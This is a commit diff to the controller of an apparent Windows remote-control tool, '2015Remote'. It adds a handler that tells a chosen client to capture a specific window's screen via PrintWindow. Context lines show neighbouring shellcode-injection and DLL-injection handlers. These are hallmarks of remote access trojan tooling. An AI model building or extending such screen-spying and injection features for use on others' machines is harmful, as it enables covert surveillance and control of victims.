Feat: window capture via PrintWindow with server-side HWND routing by clientID

server/2015Remote/2015RemoteDlg.cpp

@@ -890,6 +890,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
     ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
     ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
+    ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
     ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
     ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
     ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
@@ -10273,6 +10274,30 @@ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
     SAFE_DELETE(tinyRun);
 }
 
+LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
+{
+    // wParam: new char[2 * sizeof(uint64_t)]，前 8 字节为 clientID，后 8 字节为 HWND(uint64_t)
+    char* arg = (char*)wParam;
+    uint64_t clientID = 0, hwnd64 = 0;
+    memcpy(&clientID, arg,                    sizeof(uint64_t));
+    memcpy(&hwnd64,   arg + sizeof(uint64_t), sizeof(uint64_t));
+    delete[] arg;
+    auto ctx = FindHost(clientID);
+    if (!ctx) return S_FALSE;
+
+    // 窗口捕获只能走 GDI（PrintWindow），忽略用户的 DXGI 设置
+    BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
+    CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
+    // [0]=COMMAND_SCREEN_SPY [1]=DXGI(强制GDI) [2]=algo [3]=all [4..11]=HWND(uint64_t)
+    BYTE bToken[32] = { COMMAND_SCREEN_SPY, (BYTE)USING_GDI,
+                        (BYTE)(algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString())),
+                        (BYTE)all };
+    memcpy(bToken + 4, &hwnd64, sizeof(uint64_t));
+    screenParamModifier(ctx, bToken);
+    ctx->Send2Client(bToken, sizeof(bToken));
+    return S_OK;
+}
+
 LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
 {
     char* ip = (char*)wParam;